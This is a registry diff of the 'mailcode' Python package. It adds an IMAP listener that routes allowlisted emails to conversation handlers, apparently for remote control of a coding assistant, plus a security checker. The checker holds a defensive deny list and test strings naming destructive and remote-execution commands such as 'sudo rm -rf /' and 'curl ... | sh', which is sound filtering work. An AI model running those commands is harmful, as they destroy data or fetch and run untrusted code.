mailcode 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,556 @@
1
+ """IMAP 邮件监听器(简化版 — 仅支持对话路由)"""
2
+
3
+ import imaplib
4
+ import email
5
+ import json
6
+ import re
7
+ import threading
8
+ import logging
9
+ from datetime import datetime, timedelta
10
+ from pathlib import Path
11
+ from typing import TYPE_CHECKING, Dict, List, Optional, Tuple
12
+ from email.header import decode_header
13
+ from email.utils import parseaddr
14
+
15
+ from mailcode.config import get_imap_config, get_email_config, get_auth_policy, is_session_enabled
16
+ from mailcode.channels.email_channel import EmailChannel
17
+ from mailcode.relay.security import SecurityChecker
18
+
19
+ if TYPE_CHECKING:
20
+ from mailcode.relay.conversation_handler import ConversationHandler
21
+ from mailcode.relay.stateless_handler import StatelessHandler
22
+
23
+ logger = logging.getLogger("mailcode")
24
+
25
+ imaplib.Commands["ID"] = ("NONAUTH", "AUTH", "SELECTED")
26
+
27
+ _MAILCODE_HOME = Path.home() / ".config" / "mailcode"
28
+
29
+
30
+ class IMAPListener:
31
+ def __init__(self, imap_config=None, email_config=None, smtp_config=None):
32
+ self.imap_config = imap_config or get_imap_config()
33
+ self.email_config = email_config or get_email_config()
34
+ self.smtp_config = smtp_config
35
+
36
+ _MAILCODE_HOME.mkdir(parents=True, exist_ok=True)
37
+ self.state_path = _MAILCODE_HOME / "state.json"
38
+
39
+ self.security_checker = SecurityChecker()
40
+ self.email_channel = EmailChannel(smtp_config=self.smtp_config, email_config=self.email_config)
41
+ self._conv_handler: Optional["ConversationHandler"] = None
42
+ self._stateless_handler: Optional["StatelessHandler"] = None
43
+
44
+ self.check_interval = self.email_config.get("check_interval", 5)
45
+ self.processed_uids: set = set()
46
+ self.sent_messages: list = []
47
+ self._load_state()
48
+
49
+ self._idle_timeout = 60
50
+ self._idle_ready = threading.Event()
51
+ self._idle_mail = None
52
+ self._idle_thread: Optional[threading.Thread] = None
53
+ self._mail: Optional[imaplib.IMAP4_SSL] = None
54
+ self._connected = False
55
+ self._stopped = threading.Event()
56
+
57
+ def stop(self):
58
+ """向监听循环发出干净退出信号。从信号处理程序调用。"""
59
+ self._stopped.set()
60
+ if self._idle_mail is not None:
61
+ try:
62
+ self._idle_mail.logout()
63
+ except Exception:
64
+ pass
65
+
66
+ def _load_state(self):
67
+ """加载 state.json, 同步 self.processed_uids 和 self.sent_messages。"""
68
+ if not self.state_path.exists():
69
+ self.processed_uids = set()
70
+ self.sent_messages = []
71
+ return
72
+ try:
73
+ with open(self.state_path, "r", encoding="utf-8") as f:
74
+ data = json.load(f)
75
+ self.processed_uids = set(data.get("processed_uids", []))
76
+ self.sent_messages = list(data.get("sent_messages", []))
77
+ except Exception:
78
+ self.processed_uids = set()
79
+ self.sent_messages = []
80
+
81
+ def _save_state(self, state: dict):
82
+ """原子写 state 到 state.json。state 应包含 processed_uids + sent_messages。"""
83
+ with open(self.state_path, "w", encoding="utf-8") as f:
84
+ json.dump(state, f, ensure_ascii=False, indent=2)
85
+
86
+ def _prune_old_sent_messages(self):
87
+ """清理 7 天前的 sent_messages, 限制 processed_uids 上限。"""
88
+ cutoff = datetime.now() - timedelta(days=7)
89
+ filtered = []
90
+ for msg in self.sent_messages:
91
+ sent_at = msg.get("sent_at", "")
92
+ if sent_at:
93
+ try:
94
+ msg_time = datetime.fromisoformat(sent_at)
95
+ if msg_time > cutoff:
96
+ filtered.append(msg)
97
+ except Exception:
98
+ filtered.append(msg)
99
+ self.sent_messages = filtered
100
+ if len(self.processed_uids) > 10000:
101
+ self.processed_uids = set()
102
+
103
+ def _init_baseline(self):
104
+ """建立启动基线:将当前所有 UNSEEN 邮件标记为已处理,后续只响应新邮件"""
105
+ try:
106
+ mail = self._connect()
107
+ mail.select("INBOX")
108
+ status, messages = mail.search(None, "UNSEEN")
109
+ if status == "OK" and messages[0]:
110
+ count = 0
111
+ for uid_bytes in messages[0].split():
112
+ self.processed_uids.add(uid_bytes.decode())
113
+ count += 1
114
+ logger.info(f"邮件基线已建立: {count} 封历史未读邮件不处理")
115
+ mail.logout()
116
+ except Exception as e:
117
+ logger.warning(f"建立邮件基线失败: {e}")
118
+
119
+ def _connect(self) -> imaplib.IMAP4_SSL:
120
+ host = self.imap_config.get("host", "imap.qq.com")
121
+ port = self.imap_config.get("port", 993)
122
+ user = self.imap_config.get("user", "")
123
+ password = self.imap_config.get("pass", "")
124
+
125
+ mail = imaplib.IMAP4_SSL(host, port)
126
+ mail.sock.settimeout(15)
127
+ # 部分邮件服务商(如网易)要求在登录前发送 ID 指令
128
+ try:
129
+ mail._simple_command("ID", '("name" "mailcode" "vendor" "mailcode" "support-email" "' + user + '")')
130
+ except Exception:
131
+ pass
132
+ mail.login(user, password)
133
+ try:
134
+ mail._simple_command("ID", '("name" "mailcode" "vendor" "mailcode" "support-email" "' + user + '")')
135
+ except Exception:
136
+ pass
137
+ self._mail = mail
138
+ self._connected = True
139
+ return mail
140
+
141
+ def _wait_for_idle(self, mail: imaplib.IMAP4_SSL) -> bool:
142
+ if self._idle_thread and self._idle_thread.is_alive():
143
+ self._idle_thread.join(timeout=3)
144
+
145
+ def idle_thread():
146
+ try:
147
+ while self._idle_ready.is_set():
148
+ mail.idle()
149
+ response = mail.idle_response()
150
+ if response:
151
+ self._idle_mail = mail
152
+ self._idle_ready.clear()
153
+ except Exception:
154
+ logger.exception("IDLE 线程异常")
155
+
156
+ self._idle_ready.set()
157
+ self._idle_thread = threading.Thread(target=idle_thread, daemon=True)
158
+ self._idle_thread.start()
159
+
160
+ try:
161
+ self._idle_ready.wait(timeout=self._idle_timeout)
162
+ except Exception:
163
+ pass
164
+
165
+ return not self._idle_ready.is_set()
166
+
167
+ def _reconnect(self) -> imaplib.IMAP4_SSL:
168
+ try:
169
+ self._idle_mail.logout()
170
+ except Exception:
171
+ pass
172
+ self._connected = False
173
+ # 重建 _idle_ready 事件并 set,让 _wait_for_idle 能重新启动 IDLE 线程
174
+ self._idle_ready = threading.Event()
175
+ self._idle_ready.set()
176
+ return self._connect()
177
+
178
+ def _decode_email_header(self, header_value: str) -> str:
179
+ if not header_value:
180
+ return ""
181
+ decoded_parts = []
182
+ for part, encoding in decode_header(header_value):
183
+ if isinstance(part, bytes):
184
+ try:
185
+ decoded_parts.append(part.decode(encoding or "utf-8", errors="replace"))
186
+ except Exception:
187
+ decoded_parts.append(part.decode("utf-8", errors="replace"))
188
+ else:
189
+ decoded_parts.append(part)
190
+ return "".join(decoded_parts)
191
+
192
+ def _extract_body(self, msg) -> str:
193
+ body = ""
194
+ if msg.is_multipart():
195
+ for part in msg.walk():
196
+ content_type = part.get_content_type()
197
+ if content_type == "text/plain":
198
+ payload = part.get_payload(decode=True)
199
+ if payload:
200
+ charset = part.get_content_charset() or "utf-8"
201
+ body = payload.decode(charset, errors="replace")
202
+ break
203
+ else:
204
+ payload = msg.get_payload(decode=True)
205
+ if payload:
206
+ charset = msg.get_content_charset() or "utf-8"
207
+ body = payload.decode(charset, errors="replace")
208
+ return body
209
+
210
+ def _clean_body(self, body: str) -> str:
211
+ lines = body.split("\n")
212
+ cleaned_lines = []
213
+
214
+ for line in lines:
215
+ if re.match(r"-+ ?Original Message", line) or re.match(r".* On .* wrote:", line):
216
+ break
217
+
218
+ if line.startswith(">"):
219
+ continue
220
+
221
+ if line.strip().startswith("-- "):
222
+ break
223
+
224
+ if any(greeting in line.lower() for greeting in ["sent from", "best regards", "thanks", "regards", "sincerely"]):
225
+ if len(line.strip()) < 50:
226
+ break
227
+
228
+ cleaned_lines.append(line)
229
+
230
+ body = "\n".join(cleaned_lines)
231
+ body = re.sub(r"\n{3,}", "\n\n", body)
232
+ return body.strip()
233
+
234
+ def _is_own_message(self, msg) -> bool:
235
+ if msg.get("X-MailCode-Remote-Token"):
236
+ return True
237
+ if msg.get("X-OpenCode-Remote-Token"):
238
+ return True
239
+ return False
240
+
241
+ def _is_duplicate(self, msg_id: str, uid: str) -> bool:
242
+ if uid in self.processed_uids:
243
+ return True
244
+
245
+ for msg in self.sent_messages:
246
+ if msg.get("message_id") == msg_id:
247
+ return True
248
+
249
+ return False
250
+
251
+ def fetch_unread_emails(self, dry_run: bool = False) -> List[Dict]:
252
+ results = []
253
+ mail = None
254
+ try:
255
+ mail = self._connect()
256
+ mail.select("INBOX")
257
+
258
+ status, messages = mail.search(None, "UNSEEN")
259
+ if status != "OK":
260
+ return results
261
+
262
+ uids = messages[0].split()
263
+ if not uids:
264
+ return results
265
+
266
+ for uid_bytes in uids:
267
+ uid = uid_bytes.decode()
268
+ status, msg_data = mail.fetch(uid_bytes, "(RFC822)")
269
+ if status != "OK":
270
+ continue
271
+
272
+ raw_email = msg_data[0][1]
273
+ msg = email.message_from_bytes(raw_email)
274
+
275
+ msg_id = msg.get("Message-ID", "") or msg.get("Message-Id", "") or uid
276
+ from_header = self._decode_email_header(msg.get("From", ""))
277
+ subject = self._decode_email_header(msg.get("Subject", ""))
278
+ references = msg.get("References", "")
279
+ in_reply_to = msg.get("In-Reply-To", "")
280
+
281
+ if self._is_own_message(msg):
282
+ continue
283
+
284
+ if self._is_duplicate(msg_id, uid):
285
+ continue
286
+
287
+ sender_email = parseaddr(from_header)[1].lower() or from_header.lower()
288
+
289
+ auth_header = self._decode_email_header(msg.get("Authentication-Results", ""))
290
+ policy = get_auth_policy()
291
+ auth_valid, auth_reason = SecurityChecker.verify_auth_results(auth_header, policy)
292
+ if not auth_valid:
293
+ logger.warning(f"邮件认证失败 [{sender_email}]: {auth_reason}")
294
+ continue
295
+ elif auth_reason != "OK":
296
+ logger.info(f"邮件认证状态 [{sender_email}]: {auth_reason}")
297
+
298
+ if not self.security_checker.is_sender_allowed(sender_email):
299
+ continue
300
+
301
+ body = self._extract_body(msg)
302
+ cleaned_body = self._clean_body(body)
303
+
304
+ entry = {
305
+ "uid": uid,
306
+ "message_id": msg_id,
307
+ "from": from_header,
308
+ "sender_email": sender_email,
309
+ "subject": subject,
310
+ "body": cleaned_body,
311
+ "references": references,
312
+ "in_reply_to": in_reply_to,
313
+ }
314
+
315
+ if dry_run:
316
+ logger.info(f"DRY RUN - UID: {uid}")
317
+ logger.info(f"DRY RUN - From: {from_header}")
318
+ logger.info(f"DRY RUN - Subject: {subject}")
319
+ logger.info(f"DRY RUN - Auth-Results: {auth_header[:200] if auth_header else '(无)'}")
320
+ logger.info(f"DRY RUN - Auth-Status: {auth_reason}")
321
+ logger.info(f"DRY RUN - Cleaned Body:\n{cleaned_body[:500]}")
322
+ results.append(entry)
323
+ continue
324
+
325
+ results.append(entry)
326
+ self.processed_uids.add(uid)
327
+
328
+ except Exception as e:
329
+ logger.error(f"IMAP 监听错误: {e}")
330
+ finally:
331
+ if mail is not None:
332
+ try:
333
+ mail.logout()
334
+ except Exception:
335
+ pass
336
+
337
+ return results
338
+
339
+ def process_email(self, email_entry: Dict, dry_run: bool = False,
340
+ force_session: Optional[bool] = None) -> Tuple[bool, str]:
341
+ """处理一封邮件: 路由到 conversation / stateless handler。
342
+
343
+ 路由表:
344
+ dry_run=True → (True, "dry_run")
345
+ force_session=True → _handle_via_conversation
346
+ force_session=False → _handle_via_stateless
347
+ force_session=None + is_session_enabled()=True → _handle_via_conversation
348
+ force_session=None + is_session_enabled()=False → _handle_via_stateless
349
+
350
+ Args:
351
+ email_entry: fetch_unread_emails 产出的 entry dict
352
+ dry_run: dry-run 模式, 仅日志, 不真发
353
+ force_session: 显式覆盖 config 中 session.enabled
354
+
355
+ Returns:
356
+ (success: bool, mode: str), mode ∈ {"conversation", "stateless", "dry_run"}
357
+ """
358
+ if dry_run:
359
+ logger.info(
360
+ f"DRY RUN - 邮件: from={email_entry.get('sender_email')} subject={email_entry.get('subject')}"
361
+ )
362
+ return True, "dry_run"
363
+
364
+ # 决定走 conversation 还是 stateless
365
+ if force_session is None:
366
+ use_conversation = is_session_enabled()
367
+ else:
368
+ use_conversation = force_session
369
+
370
+ if use_conversation:
371
+ return self._handle_via_conversation(email_entry)
372
+ return self._handle_via_stateless(email_entry)
373
+
374
+ def _handle_via_conversation(self, email_entry: Dict) -> Tuple[bool, str]:
375
+ """路由到 ConversationHandler, 处理多轮对话邮件。"""
376
+ if self._conv_handler is None:
377
+ from mailcode.relay.conversation_handler import ConversationHandler
378
+ self._conv_handler = ConversationHandler(
379
+ email_channel=self.email_channel,
380
+ )
381
+
382
+ success = self._conv_handler.handle_email(
383
+ from_email=email_entry["sender_email"],
384
+ subject=email_entry.get("subject", ""),
385
+ body=email_entry.get("body", ""),
386
+ references=email_entry.get("references", ""),
387
+ in_reply_to=email_entry.get("in_reply_to", ""),
388
+ )
389
+ mode = "conversation" if success else "conversation_failed"
390
+ return (success, mode)
391
+
392
+ def _handle_via_stateless(self, email_entry: Dict) -> Tuple[bool, str]:
393
+ """路由到 StatelessHandler, 处理单次回复邮件。
394
+
395
+ - ``is_session_enabled()=False`` 时: 走 fallback (新默认)
396
+ - ``force_session=False`` 时: 显式单次回复 (CLI 调试)
397
+ """
398
+ # 提示 fallback 路径, 但仅在"配置没开 session"时 (force_session=False 显式无歧义)
399
+ if not is_session_enabled():
400
+ logger.info("session 关闭, 使用单次回复")
401
+
402
+ if self._stateless_handler is None:
403
+ from mailcode.relay.stateless_handler import StatelessHandler
404
+ self._stateless_handler = StatelessHandler(
405
+ email_channel=self.email_channel,
406
+ )
407
+
408
+ success = self._stateless_handler.handle_email(
409
+ from_email=email_entry["sender_email"],
410
+ subject=email_entry.get("subject", ""),
411
+ body=email_entry.get("body", ""),
412
+ references=email_entry.get("references", ""),
413
+ in_reply_to=email_entry.get("in_reply_to", ""),
414
+ )
415
+ mode = "stateless" if success else "stateless_failed"
416
+ return (success, mode)
417
+
418
+ def listen(self, dry_run: bool = False, max_iterations: Optional[int] = None, use_idle: bool = False):
419
+ mode = "IDLE 长连接" if use_idle else f"轮询({self.check_interval}秒)"
420
+ print(f"IMAP 监听器启动 ({mode})")
421
+ if dry_run:
422
+ print("Dry-run 模式: 仅显示邮件,不注入命令")
423
+ print("按 Ctrl+C 停止")
424
+
425
+ try:
426
+ if use_idle:
427
+ self._listen_idle(dry_run, max_iterations)
428
+ else:
429
+ self._listen_poll(dry_run, max_iterations)
430
+ except KeyboardInterrupt:
431
+ pass
432
+ finally:
433
+ print("监听器已停止")
434
+ if not dry_run:
435
+ self._save_state({
436
+ "processed_uids": list(self.processed_uids),
437
+ "sent_messages": self.sent_messages,
438
+ })
439
+
440
+ def _listen_poll(self, dry_run: bool, max_iterations: Optional[int]):
441
+ if not self.security_checker.config.get("allowed_senders"):
442
+ logger.warning("发件人白名单为空,所有邮件将被拒绝处理。请在配置文件中设置 allowed_senders")
443
+ self._init_baseline()
444
+ self._save_state({
445
+ "processed_uids": list(self.processed_uids),
446
+ "sent_messages": self.sent_messages,
447
+ })
448
+ iteration = 0
449
+ while not self._stopped.is_set():
450
+ iteration += 1
451
+ if max_iterations and iteration > max_iterations:
452
+ break
453
+
454
+ emails = self.fetch_unread_emails(dry_run=dry_run)
455
+
456
+ for email_entry in emails:
457
+ if dry_run:
458
+ continue
459
+
460
+ success, message = self.process_email(email_entry, dry_run=dry_run)
461
+ status_icon = "OK" if success else "FAIL"
462
+ logger.info(f"{status_icon} {message}")
463
+
464
+ if not dry_run:
465
+ self._save_state({
466
+ "processed_uids": list(self.processed_uids),
467
+ "sent_messages": self.sent_messages,
468
+ })
469
+
470
+ if self._stopped.wait(timeout=self.check_interval):
471
+ break
472
+
473
+ def _listen_idle(self, dry_run: bool, max_iterations: Optional[int]):
474
+ if not self.security_checker.config.get("allowed_senders"):
475
+ logger.warning("发件人白名单为空,所有邮件将被拒绝处理。请在配置文件中设置 allowed_senders")
476
+ self._init_baseline()
477
+ self._save_state({
478
+ "processed_uids": list(self.processed_uids),
479
+ "sent_messages": self.sent_messages,
480
+ })
481
+ mail = self._connect()
482
+ mail.select("INBOX")
483
+
484
+ # 检测服务器是否支持 IMAP IDLE
485
+ capabilities = getattr(mail, 'capabilities', None) or ()
486
+ if 'IDLE' not in capabilities:
487
+ logger.warning("IMAP 服务器不支持 IDLE,自动切换为轮询模式")
488
+ try:
489
+ mail.logout()
490
+ except Exception:
491
+ pass
492
+ self._connected = False
493
+ self._mail = None
494
+ return self._listen_poll(dry_run, max_iterations)
495
+
496
+ iteration = 0
497
+
498
+ try:
499
+ while not self._stopped.is_set():
500
+ iteration += 1
501
+ if max_iterations and iteration > max_iterations:
502
+ break
503
+
504
+ if self._stopped.is_set():
505
+ break
506
+
507
+ if self._wait_for_idle(mail):
508
+ if self._stopped.is_set():
509
+ break
510
+ mail = self._reconnect()
511
+ mail.select("INBOX")
512
+
513
+ if self._stopped.is_set():
514
+ break
515
+
516
+ emails = self.fetch_unread_emails(dry_run=dry_run)
517
+
518
+ for email_entry in emails:
519
+ if dry_run:
520
+ continue
521
+
522
+ success, message = self.process_email(email_entry, dry_run=dry_run)
523
+ status_icon = "OK" if success else "FAIL"
524
+ logger.info(f"{status_icon} {message}")
525
+
526
+ if not dry_run:
527
+ self._save_state({
528
+ "processed_uids": list(self.processed_uids),
529
+ "sent_messages": self.sent_messages,
530
+ })
531
+ finally:
532
+ try:
533
+ mail.logout()
534
+ except Exception:
535
+ pass
536
+
537
+
538
+ if __name__ == "__main__":
539
+ import argparse
540
+
541
+ parser = argparse.ArgumentParser(description="IMAP 邮件监听器")
542
+ parser.add_argument("--dry-run", action="store_true", help="仅显示邮件,不注入命令")
543
+ parser.add_argument("--once", action="store_true", help="只执行一次轮询")
544
+ parser.add_argument("--idle", action="store_true", help="使用 IMAP IDLE 长连接模式")
545
+ args = parser.parse_args()
546
+
547
+ listener = IMAPListener()
548
+
549
+ if args.once:
550
+ emails = listener.fetch_unread_emails(dry_run=args.dry_run)
551
+ logger.info(f"发现 {len(emails)} 封新邮件")
552
+ for email_entry in emails:
553
+ success, message = listener.process_email(email_entry, dry_run=args.dry_run)
554
+ logger.info(f"{'OK' if success else 'FAIL'} {message}")
555
+ else:
556
+ listener.listen(dry_run=args.dry_run, use_idle=args.idle)
@@ -0,0 +1,132 @@
1
+ import re
2
+
3
+ from mailcode.config import get_security_config
4
+
5
+
6
+ class SecurityChecker:
7
+ def __init__(self):
8
+ self.config = get_security_config()
9
+ self.blocked_patterns = self.config.get("blocked_commands", [])
10
+ self.allowed_senders = self.config.get("allowed_senders", [])
11
+
12
+ def is_command_safe(self, command: str) -> tuple[bool, str]:
13
+ if not command or not command.strip():
14
+ return False, "命令为空"
15
+
16
+ command_lower = command.lower()
17
+
18
+ dangerous_patterns = [
19
+ (r"rm\s+-rf\s+/", "危险: 递归删除根目录"),
20
+ (r"sudo\s+rm", "危险: sudo 删除操作"),
21
+ (r"chmod\s+777", "危险: 过度宽松的权限"),
22
+ (r"curl.*\|.*sh", "危险: curl pipe sh"),
23
+ (r"wget.*\|.*sh", "危险: wget pipe sh"),
24
+ (r":\(\).*\|.*sh", "危险: fork bomb pipe sh"),
25
+ (r">\s*/dev/sd", "危险: 直接写入块设备"),
26
+ (r"dd\s+if=.*of=/dev/", "危险: dd 直接写入设备"),
27
+ ]
28
+
29
+ for pattern, reason in dangerous_patterns:
30
+ if re.search(pattern, command_lower):
31
+ return False, reason
32
+
33
+ for blocked in self.blocked_patterns:
34
+ try:
35
+ if re.search(blocked, command_lower):
36
+ return False, f"命令匹配黑名单: {blocked}"
37
+ except re.error:
38
+ if blocked in command_lower:
39
+ return False, f"命令匹配黑名单: {blocked}"
40
+
41
+ return True, "OK"
42
+
43
+ def is_sender_allowed(self, sender_email: str) -> bool:
44
+ """检查发件人是否在白名单中。
45
+
46
+ 白名单支持两种写法:
47
+ - 全邮箱精确匹配:'you@example.com'
48
+ - 域名后缀匹配:以 @ 开头的字符串,如 '@example.com'
49
+ """
50
+ if not self.allowed_senders:
51
+ return False
52
+
53
+ sender_lower = sender_email.lower().strip()
54
+ if "@" not in sender_lower:
55
+ return False
56
+
57
+ for allowed in self.allowed_senders:
58
+ a = allowed.lower().strip()
59
+ if not a:
60
+ continue
61
+ if a.startswith("@"):
62
+ # 后缀匹配:sender 必须以 @<domain> 结尾
63
+ if sender_lower.endswith(a):
64
+ return True
65
+ else:
66
+ # 全邮箱精确匹配
67
+ if sender_lower == a:
68
+ return True
69
+
70
+ return False
71
+
72
+ def validate_command(self, command: str, sender_email: str) -> tuple[bool, str]:
73
+ if not self.is_sender_allowed(sender_email):
74
+ return False, "发件人不在白名单中"
75
+
76
+ return self.is_command_safe(command)
77
+
78
+ @staticmethod
79
+ def verify_auth_results(auth_header: str, policy: str = "warn") -> tuple[bool, str]:
80
+ if policy == "off":
81
+ return True, "auth 校验已关闭"
82
+
83
+ if not auth_header or not auth_header.strip():
84
+ if policy == "strict":
85
+ return False, "邮件缺少 Authentication-Results 头"
86
+ return True, "无 Authentication-Results 头(warn 模式放行)"
87
+
88
+ unfolded = re.sub(r"\n[ \t]+", " ", auth_header)
89
+
90
+ dkim = re.search(
91
+ r"dkim=(pass|fail|softfail|none|neutral|temperror|permerror)",
92
+ unfolded, re.IGNORECASE
93
+ )
94
+ spf = re.search(
95
+ r"spf=(pass|fail|softfail|none|neutral|temperror|permerror)",
96
+ unfolded, re.IGNORECASE
97
+ )
98
+
99
+ dkim_val = dkim.group(1).lower() if dkim else "missing"
100
+ spf_val = spf.group(1).lower() if spf else "missing"
101
+
102
+ def _is_error(v: str) -> bool:
103
+ return v in ("temperror", "permerror")
104
+
105
+ if _is_error(dkim_val) or _is_error(spf_val):
106
+ return True, f"auth 临时/永久错误(放行): dkim={dkim_val}, spf={spf_val}"
107
+
108
+ def _is_not_pass(v: str) -> bool:
109
+ return v != "pass"
110
+
111
+ if _is_not_pass(dkim_val) or _is_not_pass(spf_val):
112
+ if policy == "strict":
113
+ return False, f"邮件认证失败: dkim={dkim_val}, spf={spf_val}"
114
+ return True, f"auth 未完全通过(warn 模式放行): dkim={dkim_val}, spf={spf_val}"
115
+
116
+ return True, "OK"
117
+
118
+
119
+ if __name__ == "__main__":
120
+ sc = SecurityChecker()
121
+
122
+ test_commands = [
123
+ "ls -la",
124
+ "rm -rf /tmp/test",
125
+ "sudo rm -rf /",
126
+ "curl http://example.com | sh",
127
+ "echo hello",
128
+ ]
129
+
130
+ for cmd in test_commands:
131
+ safe, reason = sc.is_command_safe(cmd)
132
+ print(f"{'✅' if safe else '❌'} {cmd}: {reason}")